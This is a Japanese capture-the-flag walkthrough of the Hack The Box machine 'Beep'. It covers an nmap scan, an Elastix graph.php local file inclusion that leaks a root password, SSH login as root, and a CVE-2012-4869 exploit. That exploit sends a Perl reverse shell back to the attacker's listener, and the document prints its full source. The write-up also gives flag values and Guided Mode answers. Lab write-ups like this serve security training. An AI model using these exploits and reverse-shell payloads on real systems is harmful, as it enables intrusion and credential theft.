Hack The BoxのWriteup(Beep)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

本記事の概要

Hack The BoxのLinuxサーバの難易度Easyのマシンである「Beep」に対する攻撃手法を記載します。

本記事では、以下の手順を記載します。
  (1) ポートスキャン及びアクセス

  (2) Elastixの脆弱性を悪用した任意のファイル閲覧

  (3) SSHを用いてrootユーザーでログイン

  (4) 【補足】Elastixの脆弱性(CVE-2012-4869)を悪用したリバースシェル奪取(実行失敗)

  (5) 【補足】Elastixの脆弱性(CVE-2012-4869)を悪用したリバースシェル奪取(実行成功)

※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。


ポートスキャン及びアクセス


(1) nmapコマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やHTTP(80/tcp)やHTTPS(443/tcp)などポートが応答がある。

$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.10.7
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-10 10:05 JST
Stats: 0:06:08 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 95.45% done; ETC: 10:11 (0:00:05 remaining)
Nmap scan report for 10.10.10.7
Host is up (0.33s latency).
Not shown: 65519 closed tcp ports (reset)
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey:
|   1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
|_  2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
25/tcp    open  smtp       Postfix smtpd
|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN
80/tcp    open  http       Apache httpd 2.2.3
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-title: Did not follow redirect to https://10.10.10.7/
110/tcp   open  pop3       Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_pop3-capabilities: LOGIN-DELAY(0) RESP-CODES APOP USER TOP IMPLEMENTATION(Cyrus POP3 server v2) AUTH-RESP-CODE STLS EXPIRE(NEVER) UIDL PIPELINING
111/tcp   open  rpcbind    2 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1            790/udp   status
|_  100024  1            793/tcp   status
143/tcp   open  imap       Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_imap-capabilities: Completed IMAP4rev1 MAILBOX-REFERRALS OK URLAUTHA0001 X-NETSCAPE NO IMAP4 UIDPLUS UNSELECT LIST-SUBSCRIBED LISTEXT STARTTLS CATENATE IDLE RENAME QUOTA CONDSTORE CHILDREN ANNOTATEMORE THREAD=REFERENCES ID BINARY ATOMIC ACL THREAD=ORDEREDSUBJECT NAMESPACE RIGHTS=kxte LITERAL+ SORT=MODSEQ SORT MULTIAPPEND
443/tcp   open  ssl/http   Apache httpd 2.2.3 ((CentOS))
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2017-04-07T08:22:08
|_Not valid after:  2018-04-07T08:22:08
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.2.3 (CentOS)
|_ssl-date: 2025-08-10T01:09:20+00:00; 0s from scanner time.
|_http-title: Elastix - Login page
793/tcp   open  status     1 (RPC #100024)
993/tcp   open  ssl/imap   Cyrus imapd
|_imap-capabilities: CAPABILITY
995/tcp   open  pop3       Cyrus pop3d
3306/tcp  open  mysql      MySQL (unauthorized)
4190/tcp  open  sieve      Cyrus timsieved 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4 (included w/cyrus imap)
4445/tcp  open  upnotifyp?
4559/tcp  open  hylafax    HylaFAX 4.3.10
5038/tcp  open  asterisk   Asterisk Call Manager 1.1
10000/tcp open  http       MiniServ 1.570 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=8/10%OT=22%CT=1%CU=42794%PV=Y%DS=2%DC=T%G=Y%TM=6897F20
OS:6%P=x86_64-pc-linux-gnu)SEQ(SP=B8%GCD=1%ISR=CC%TI=Z%CI=Z%II=I%TS=A)SEQ(S
OS:P=C4%GCD=1%ISR=CD%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=C6%GCD=1%ISR=CC%TI=Z%CI=Z%I
OS:I=I%TS=A)SEQ(SP=CD%GCD=1%ISR=CE%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M542ST11NW7%O
OS:2=M542ST11NW7%O3=M542NNT11NW7%O4=M542ST11NW7%O5=M542ST11NW7%O6=M542ST11)
OS:WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0%W6=16A0)ECN(R=Y%DF=Y%T=40%W=
OS:16D0%O=M542NNSNW7%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)
OS:T3(R=Y%DF=Y%T=40%W=16A0%S=O%A=S+%F=AS%O=M542ST11NW7%RD=0%Q=)T4(R=Y%DF=Y%
OS:T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD
OS:=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S
OS:=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK
OS:=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: Hosts:  beep.localdomain, 127.0.0.1, example.com, localhost; OS: Unix

TRACEROUTE (using port 199/tcp)
HOP RTT       ADDRESS
1   591.59 ms 10.10.16.1
2   277.39 ms 10.10.10.7

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 455.88 seconds


(2) nmapコマンドを用いてHTTPS(443/tcp)のTLSのバージョンを確認すると、TLS 1.0であることが分かる。

$ nmap -sV --script ssl-enum-ciphers -p 443 10.10.10.7
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-11 07:56 JST
Nmap scan report for 10.10.10.7
Host is up (0.26s latency).

PORT    STATE SERVICE  VERSION
443/tcp open  ssl/http Apache httpd 2.2.3 ((CentOS))
|_http-server-header: Apache/2.2.3 (CentOS)
| ssl-enum-ciphers:
|   SSLv3:
|     ciphers:
|       TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA (dh 1024) - F
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA (dh 1024) - F
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA (dh 1024) - F
|       TLS_DHE_RSA_WITH_DES_CBC_SHA (dh 1024) - F
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 1024) - F
|       TLS_RSA_WITH_AES_128_CBC_SHA (rsa 1024) - F
|       TLS_RSA_WITH_AES_256_CBC_SHA (rsa 1024) - F
|       TLS_RSA_WITH_DES_CBC_SHA (rsa 1024) - F
|       TLS_RSA_WITH_RC4_128_MD5 (rsa 1024) - F
|       TLS_RSA_WITH_RC4_128_SHA (rsa 1024) - F
|     compressors:
|       DEFLATE
|       NULL
|     cipher preference: client
|     warnings:
|       64-bit block cipher 3DES vulnerable to SWEET32 attack
|       64-bit block cipher DES vulnerable to SWEET32 attack
|       Broken cipher RC4 is deprecated by RFC 7465
|       CBC-mode cipher in SSLv3 (CVE-2014-3566)
|       Ciphersuite uses MD5 for message integrity
|       Insecure certificate signature (SHA1), score capped at F
|   TLSv1.0:
|     ciphers:
|       TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA (dh 1024) - F
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA (dh 1024) - F
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA (dh 1024) - F
|       TLS_DHE_RSA_WITH_DES_CBC_SHA (dh 1024) - F
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 1024) - F
|       TLS_RSA_WITH_AES_128_CBC_SHA (rsa 1024) - F
|       TLS_RSA_WITH_AES_256_CBC_SHA (rsa 1024) - F
|       TLS_RSA_WITH_DES_CBC_SHA (rsa 1024) - F
|       TLS_RSA_WITH_RC4_128_MD5 (rsa 1024) - F
|       TLS_RSA_WITH_RC4_128_SHA (rsa 1024) - F
|     compressors:
|       DEFLATE
|       NULL
|     cipher preference: client
|     warnings:
|       64-bit block cipher 3DES vulnerable to SWEET32 attack
|       64-bit block cipher DES vulnerable to SWEET32 attack
|       Broken cipher RC4 is deprecated by RFC 7465
|       Ciphersuite uses MD5 for message integrity
|       Insecure certificate signature (SHA1), score capped at F
|_  least strength: F

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.77 seconds


Elastixの脆弱性を悪用した任意のファイル閲覧


(1) ブラウザを用いて「https://10.10.10.7/」にアクセスすると、Elastixのログイン画面が表示される。


(2) searchsploitでElastix。に関する攻撃コードを検索すると、バージョン2.2.0では「Elastix 2.2.0 – ‘graph.php’ Local File Inclusion」の脆弱性があることが分かる。

$ searchsploit Elastix
--------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                       |  Path
--------------------------------------------------------------------------------------------------------------------- ---------------------------------
Elastix - 'page' Cross-Site Scripting                                                                                | php/webapps/38078.py
Elastix - Multiple Cross-Site Scripting Vulnerabilities                                                              | php/webapps/38544.txt
Elastix 2.0.2 - Multiple Cross-Site Scripting Vulnerabilities                                                        | php/webapps/34942.txt
Elastix 2.2.0 - 'graph.php' Local File Inclusion                                                                     | php/webapps/37637.pl
Elastix 2.x - Blind SQL Injection                                                                                    | php/webapps/36305.txt
Elastix < 2.5 - PHP Code Injection                                                                                   | php/webapps/38091.php
FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution                                                               | php/webapps/18650.py
--------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results


(3) 「Elastix 2.2.0 – ‘graph.php’ Local File Inclusion」の攻撃コードのプログラムをダウンロードする。

$ searchsploit -m php/webapps/37637.pl
  Exploit: Elastix 2.2.0 - 'graph.php' Local File Inclusion
      URL: https://www.exploit-db.com/exploits/37637
     Path: /usr/share/exploitdb/exploits/php/webapps/37637.pl
    Codes: N/A
 Verified: True
File Type: ASCII text
Copied to: /home/kali/Downloads/aaaa/xxxx/Broker/37637.pl


(4) ダウンロードしたプログラムの内容を確認する。

$ cat 37637.pl
source: https://www.securityfocus.com/bid/55078/info

Elastix is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks.

Elastix 2.2.0 is vulnerable; other versions may also be affected.

#!/usr/bin/perl -w

#------------------------------------------------------------------------------------#
#Elastix is an Open Source Sofware to establish Unified Communications.
#About this concept, Elastix goal is to incorporate all the communication alternatives,
#available at an enterprise level, into a unique solution.
#------------------------------------------------------------------------------------#
############################################################
# Exploit Title: Elastix 2.2.0 LFI
# Google Dork: :(
# Author: cheki
# Version:Elastix 2.2.0
# Tested on: multiple
# CVE : notyet
# romanc-_-eyes ;)
# Discovered by romanc-_-eyes
# vendor http://www.elastix.org/

print "\t Elastix 2.2.0 LFI Exploit \n";
print "\t code author cheki   \n";
print "\t 0day Elastix 2.2.0  \n";
print "\t email: anonymous17hacker{}gmail.com \n";

#LFI Exploit: /vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

use LWP::UserAgent;
print "\n Target: https://ip ";
chomp(my $target=<STDIN>);
$dir="vtigercrm";
$poc="current_language";
$etc="etc";
$jump="../../../../../../../..//";
$test="amportal.conf%00";

$code = LWP::UserAgent->new() or die "inicializacia brauzeris\n";
$code->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "/".$dir."/graph.php?".$poc."=".$jump."".$etc."/".$test."&module=Accounts&action";
$res = $code->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~ 'This file is part of FreePBX') {

print "\n read amportal.conf file : $answer \n\n";
print " successful read\n";

}
else {
print "\n[-] not successful\n";


(5) ダウンロードしたプログラムに実行権限を付与して実行すると、複数のエラーが出力される。

$ chmod +x 37637.pl


$ ./37637.pl
./37637.pl: 1: source:: not found
./37637.pl: 3: Elastix: not found
./37637.pl: 5: An: not found
./37637.pl: 7: Elastix: not found
./37637.pl: 7: other: not found
Error: no such file "\t Elastix 2.2.0 LFI Exploit \n"
Error: no such file "\t code author cheki   \n"
Error: no such file "\t 0day Elastix 2.2.0  \n"
Error: no such file ":\t email: anonymous17hacker{}gmail.com \n"
./37637.pl: 34: use: not found
Error: no such file "//ip ' (No such file or directory)::\n Target: https://ip "
./37637.pl: 36: Syntax error: word unexpected (expecting ")")


(6) コメントアウトされてないコメントなどを削除して、エラーの箇所を更新する。$hostと$resと$answerの値を標準出力するようにする追記する。

$ cat 37637.pl
#!/usr/bin/perl -w

#------------------------------------------------------------------------------------#
#Elastix is an Open Source Sofware to establish Unified Communications.
#About this concept, Elastix goal is to incorporate all the communication alternatives,
#available at an enterprise level, into a unique solution.
#------------------------------------------------------------------------------------#
############################################################
# Exploit Title: Elastix 2.2.0 LFI
# Google Dork: :(
# Author: cheki
# Version:Elastix 2.2.0
# Tested on: multiple
# CVE : notyet
# romanc-_-eyes ;)
# Discovered by romanc-_-eyes
# vendor http://www.elastix.org/

print "\t Elastix 2.2.0 LFI Exploit \n";
print "\t code author cheki   \n";
print "\t 0day Elastix 2.2.0  \n";
print "\t email: anonymous17hacker{}gmail.com \n";

use LWP::UserAgent;
$target="https://10.10.10.7";
$dir="vtigercrm";
$poc="current_language";
$etc="etc";
$jump="../../../../../../../..//";
$test="amportal.conf%00";

$code = LWP::UserAgent->new() or die "inicializacia brauzeris\n";
$code->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "/".$dir."/graph.php?".$poc."=".$jump."".$etc."/".$test."&module=Accounts&action";
print "host : $host \n";
$res = $code->request(HTTP::Request->new(GET=>$host));
print "response : $res \n";
$answer = $res->content;
print "answer : $answer \n";
if ($answer =~ 'This file is part of FreePBX') {
        print "\n read amportal.conf file : $answer \n\n";
        print " successful read\n";
}
else {
        print "\n[-] not successful\n";
        }


(7) 更新したプログラムを実行すると、アクセス先のURLなどは生成されているが、自己証明書のためSSLエラーになっていることが分かる。PerlのHTTP::Requestモジュールで本エラーを解消する方法が分からなかったため、別の方法でアクセスを試みる。

$ ./37637.pl
         Elastix 2.2.0 LFI Exploit
         code author cheki
         0day Elastix 2.2.0
         email: anonymous17hacker{}gmail.com
host : https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
response : HTTP::Response=HASH(0x55fa785e0530)
answer : Can't connect to 10.10.10.7:443 (SSL connect attempt failed error:0A000102:SSL routines::unsupported protocol)

SSL connect attempt failed error:0A000102:SSL routines::unsupported protocol at /usr/share/perl5/LWP/Protocol/http.pm line 49.


[-] not successful


(8) curlコマンドを用いて生成されたアクセス先のURLにアクセスすると、同様にSSLのエラーとなってしまう。

$ curl "https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action"
curl: (60) server verification failed: certificate has expired. (CAfile: /etc/ssl/certs/ca-certificates.crt CRLfile: none)
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the webpage mentioned above.


(9) SSLのエラーを無視するために、-kオプションを追加してcurlコマンドを再度アクセスする。

$ curl "https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action" -k -o amportal.conf



$ cat amportal.conf | grep -v '^\s*#' | grep -v '^\s*$'
AMPDBHOST=localhost
AMPDBENGINE=mysql
AMPDBUSER=asteriskuser
AMPDBPASS=jEhdIekWmdjE
AMPENGINE=asterisk
AMPMGRUSER=admin
AMPMGRPASS=jEhdIekWmdjE
AMPBIN=/var/lib/asterisk/bin
AMPSBIN=/usr/local/sbin
AMPWEBROOT=/var/www/html
AMPCGIBIN=/var/www/cgi-bin
FOPWEBROOT=/var/www/html/panel
FOPPASSWORD=jEhdIekWmdjE
ARI_ADMIN_USERNAME=admin
ARI_ADMIN_PASSWORD=jEhdIekWmdjE
AUTHTYPE=database
AMPADMINLOGO=logo.png
AMPEXTENSIONS=extensions
ENABLECW=no
ZAP2DAHDICOMPAT=true
MOHDIR=mohmp3
AMPMODULEXML=http://mirror.freepbx.org/
AMPMODULESVN=http://mirror.freepbx.org/modules/
AMPDBNAME=asterisk
ASTETCDIR=/etc/asterisk
ASTMODDIR=/usr/lib/asterisk/modules
ASTVARLIBDIR=/var/lib/asterisk
ASTAGIDIR=/var/lib/asterisk/agi-bin
ASTSPOOLDIR=/var/spool/asterisk
ASTRUNDIR=/var/run/asterisk
ASTLOGDIR=/var/log/asteriskSorry! Attempt to access restricted file.


SSHを用いてrootユーザーでログイン


(1) SSHを用いてrootユーザーでログインしようとすると、エラーメッセージが表示される。

$ ssh root@10.10.10.7
Unable to negotiate with 10.10.10.7 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1


(2) 暗号化プロトコルを指定して、再度SSHを用いてrootユーザーでログイン試行し、パスワードを入力する。ログインに成功し、root権限のプロンプトが表示される。

$ ssh root@10.10.10.7 -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa
  →パスワード(jEhdIekWmdjE)を入力する。


(3) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。

# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)


# whoami
root


(4) 一般ユーザー用のフラグファイルの内容を確認する。

# cat /home/fanis/user.txt
a3e16b209b2ca3155a6668db29e640e8


(5) 特権ユーザー用のフラグファイルの内容を確認する。

# cat /root/root.txt
1344f80d83e6a262793ff142d282b856


【補足】Elastixの脆弱性(CVE-2012-4869)を悪用したリバースシェル奪取(実行失敗)


(1) searchsploitでElastix。に関する攻撃コードを検索すると、「FreePBX 2.10.0 / Elastix 2.2.0 – Remote Code Execution」の脆弱性があることが分かる。

$ searchsploit Elastix
--------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                       |  Path
--------------------------------------------------------------------------------------------------------------------- ---------------------------------
Elastix - 'page' Cross-Site Scripting                                                                                | php/webapps/38078.py
Elastix - Multiple Cross-Site Scripting Vulnerabilities                                                              | php/webapps/38544.txt
Elastix 2.0.2 - Multiple Cross-Site Scripting Vulnerabilities                                                        | php/webapps/34942.txt
Elastix 2.2.0 - 'graph.php' Local File Inclusion                                                                     | php/webapps/37637.pl
Elastix 2.x - Blind SQL Injection                                                                                    | php/webapps/36305.txt
Elastix < 2.5 - PHP Code Injection                                                                                   | php/webapps/38091.php
FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution                                                               | php/webapps/18650.py
--------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results


(2) 攻撃用のプログラムをダウンロードする。

$ searchsploit -m php/webapps/18650.py
  Exploit: FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution
      URL: https://www.exploit-db.com/exploits/18650
     Path: /usr/share/exploitdb/exploits/php/webapps/18650.py
    Codes: OSVDB-80544, CVE-2012-4869
 Verified: True
File Type: Python script, ASCII text executable, with very long lines (418)
Copied to: /home/kali/Downloads/tmp/18650.py


(3) ダウンロードしたプログラムの内容を確認する。

$ cat 18650.py
#!/usr/bin/python
############################################################
# Exploit Title: FreePBX / Elastix pre-authenticated remote code execution exploit
# Google Dork: oy vey
# Date: March 23rd, 2012
# Author: muts, SSL update by Emporeo
# Version: FreePBX 2.10.0/ 2.9.0, Elastix 2.2.0, possibly others.
# Tested on: multiple
# CVE : notyet
# Blog post : http://www.offensive-security.com/vulndev/freepbx-exploit-phone-home/
# Archive Url : http://www.offensive-security.com/0day/freepbx_callmenum.py.txt
############################################################
# Discovered by Martin Tschirsich
# http://seclists.org/fulldisclosure/2012/Mar/234
# http://www.exploit-db.com/exploits/18649
############################################################
import urllib
import ssl
rhost="172.16.254.72"
lhost="172.16.254.223"
lport=443
extension="1000"

ssl._create_default_https_context = ssl._create_unverified_context

# Reverse shell payload

url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'

urllib.urlopen(url)

# On Elastix, once we have a shell, we can escalate to root:
# root@bt:~# nc -lvp 443
# listening on [any] 443 ...
# connect to [172.16.254.223] from voip [172.16.254.72] 43415
# id
# uid=100(asterisk) gid=101(asterisk)
# sudo nmap --interactive

# Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
# Welcome to Interactive Mode -- press h <enter> for help
# nmap> !sh
# id
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)


(4) Kali Linux側で1234/tcpポートでリバースシェルを受け取ることができるように待ち受ける。

$ ip a
  →Kali LinuxのVPN用のIPアドレスが「10.10.16.10」


$ nc -lvp 1234


(5) ダウンロードしたプログラム中のrhostとlhostとlportの値を変更する。

$ vi 18650.py

【変更前】
rhost="172.16.254.72"
lhost="172.16.254.223"
lport=443

【変更後】
rhost="10.10.10.7"
lhost="10.10.16.10"
lport=1234

print url   ←「url = 'http・・・・'の後の行に追加」


(6) 変更後のプログラムの内容を確認する。

$ cat 18650.py
#!/usr/bin/python
############################################################
# Exploit Title: FreePBX / Elastix pre-authenticated remote code execution exploit
# Google Dork: oy vey
# Date: March 23rd, 2012
# Author: muts, SSL update by Emporeo
# Version: FreePBX 2.10.0/ 2.9.0, Elastix 2.2.0, possibly others.
# Tested on: multiple
# CVE : notyet
# Blog post : http://www.offensive-security.com/vulndev/freepbx-exploit-phone-home/
# Archive Url : http://www.offensive-security.com/0day/freepbx_callmenum.py.txt
############################################################
# Discovered by Martin Tschirsich
# http://seclists.org/fulldisclosure/2012/Mar/234
# http://www.exploit-db.com/exploits/18649
############################################################
import urllib
import ssl
rhost="10.10.10.7"
lhost="10.10.16.10"
lport=1234
extension="1000"

ssl._create_default_https_context = ssl._create_unverified_context

# Reverse shell payload

url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'

print url

urllib.urlopen(url)

# On Elastix, once we have a shell, we can escalate to root:
# root@bt:~# nc -lvp 443
# listening on [any] 443 ...
# connect to [172.16.254.223] from voip [172.16.254.72] 43415
# id
# uid=100(asterisk) gid=101(asterisk)
# sudo nmap --interactive

# Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
# Welcome to Interactive Mode -- press h <enter> for help
# nmap> !sh
# id
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)


(7) 攻撃コードを実行するが、リバースシェルを奪取できない。


(8) curlコマンドでアクセスしてもリバースシェルを奪取できない。

$ curl "https://10.10.10.7//recordings/misc/callme_page.php?action=c&callmenum=233@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3Dfork%3Bexit%2Cif%28%24p%29%3B%24c%3Dnew%20IO%3A%3ASocket%3A%3AINET%28PeerAddr%2C%2210.10.16.10%3A333%22%29%3BSTDIN-%3Efdopen%28%24c%2Cr%29%3B%24~-%3Efdopen%28%24c%2Cw%29%3Bsystem%24_%20while%3C%3E%3B%27%0D%0A%0D%0A" -H 'Accept-Encoding: gzip, deflate, br' -k


【補足】Elastixの脆弱性(CVE-2012-4869)を悪用したリバースシェル奪取(実行成功)


(1) 「https://github.com/cyberdesu/Elastix-2.2.0-CVE-2012-4869」にElastixの脆弱性(CVE-2012-4869)を悪用した攻撃コードが公開されているため、ダウンロードする。

$ git clone https://github.com/cyberdesu/Elastix-2.2.0-CVE-2012-4869


$ cd Elastix-2.2.0-CVE-2012-4869


(2) 攻撃コードのプログラムの内容を確認し、使い方を確認する。

$ cat exploit.py
import socket
import argparse
import requests
import os
import sys
import ssl
import urllib3
from requests.adapters import HTTPAdapter
from urllib3.poolmanager import PoolManager

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class TLSAdapter(HTTPAdapter):
    def init_poolmanager(self, *args, **kwargs):
        context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE
        kwargs['ssl_context'] = context
        return super(TLSAdapter, self).init_poolmanager(*args, **kwargs)


parser = argparse.ArgumentParser(description="Elastix 2.2.0 Local File Inclusion CVE-2012-4869")
parser.add_argument('URL', type=str, help="Vulnerable Website")
parser.add_argument('--LHOST', type=str, required=True, help="Your IP address for reverse shell")
parser.add_argument('--LPORT', type=int, required=True, help="Your Port for reverse shell")
input_arg = parser.parse_args()

print("\n[*] Running Elastix 2.2.0 LFI Exploit - CVE-2012-4869")
print(f"[*] Target: {input_arg.URL}")
print(f"[*] Listening on {input_arg.LHOST}:{input_arg.LPORT}\n")


url = f'{input_arg.URL}/recordings/misc/callme_page.php?action=c&callmenum=233@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22{input_arg.LHOST}%3a{input_arg.LPORT}%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'
session = requests.Session()
session.mount('https://', TLSAdapter())

try:
    response = session.get(url, verify=False, timeout=10)
    if response.status_code == 200:
        print("[+] Exploit sent successfully, waiting for reverse shell...\n")
    else:
        print(f"[!] Exploit failed, server responded with status code {response.status_code}\n")
except requests.exceptions.RequestException as e:
    print(f"[!] Error sending exploit: {e}")
    sys.exit(1)


(3) Kali Linux側で1234/tcpポートでリバースシェルを受け取ることができるように待ち受ける。

$ ip a
  →Kali LinuxのVPN用のIPアドレスが「10.10.16.10」


$ nc -lvp 1234


(4) 攻撃コードのプログラムを実行する。

$ python exploit.py --LHOST 10.10.16.10 --LPORT 1234 https://10.10.10.7

[*] Running Elastix 2.2.0 LFI Exploit - CVE-2012-4869
[*] Target: https://10.10.10.7
[*] Listening on 10.10.16.10:1234

[+] Exploit sent successfully, waiting for reverse shell...


(5) 「nc -lvnp 1234」コマンドを実行していたプロンプトにて応答があり、任意のコマンドを実行できるようになる。

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.10.7] 56326


(6) プロンプトを見やすくするようにする。

$ which script
/usr/bin/script


$ /usr/bin/script -qc /bin/bash /dev/null
  →「bash-3.2$」のプロンプトが返ってくる。


(7) 現在ログインしているユーザー情報を確認すると、asteriskユーザーであることが分かる。

$ id
uid=100(asterisk) gid=101(asterisk)


$ whoami
asterisk


[補足] Guided ModeのQA


・Task 1

問題(英語訳):Which Linux distribution is the target machine running?
問題(日本語訳):ターゲットマシンはどの Linux ディストリビューションを実行していますか?

答え:CentOS


・Task 2

問題(英語訳):What version of TLS is the web application on TCP port 443 using?
問題(日本語訳):TCP ポート 443 上の Web アプリケーションはどのバージョンの TLS を使用していますか?

答え:1.0


・Task 3

問題(英語訳):What is the name of the software that's hosting a webserver on 443?
問題(日本語訳):443 で Web サーバーをホストしているソフトウェアの名前は何ですか?

答え:elastix


・Task 4

問題(英語訳):Which Elastix endpoint is vulnerable to a Local File Inclusion?
問題(日本語訳):ローカルファイルインクルードに対して脆弱な Elastix エンドポイントはどれですか?

答え:/vtigercrm/graph.php


・Task 5

問題(英語訳):What is the name of the FreePBX configuration file that contains the database configuration?
問題(日本語訳):データベース構成が含まれている FreePBX 構成ファイルの名前は何ですか?

答え:amportal.conf


・Task 6

問題(英語訳):What additional flag is needed when attempting to SSH as root to the target machine due to a "no matching key exchange method found" error? It starts with -o and ends with -sha1.
問題(日本語訳):「一致するキー交換方法が見つかりません」というエラーのため、ターゲット マシンに root として SSH 接続しようとするときに必要な追加フラグは何ですか。-o で始まり、-sha1 で終わります。

答え:-oKexAlgorithms=+diffie-hellman-group1-sha1


・Submit User Flag

問題(英語訳):Submit the flag located in the fanis user's home directory.
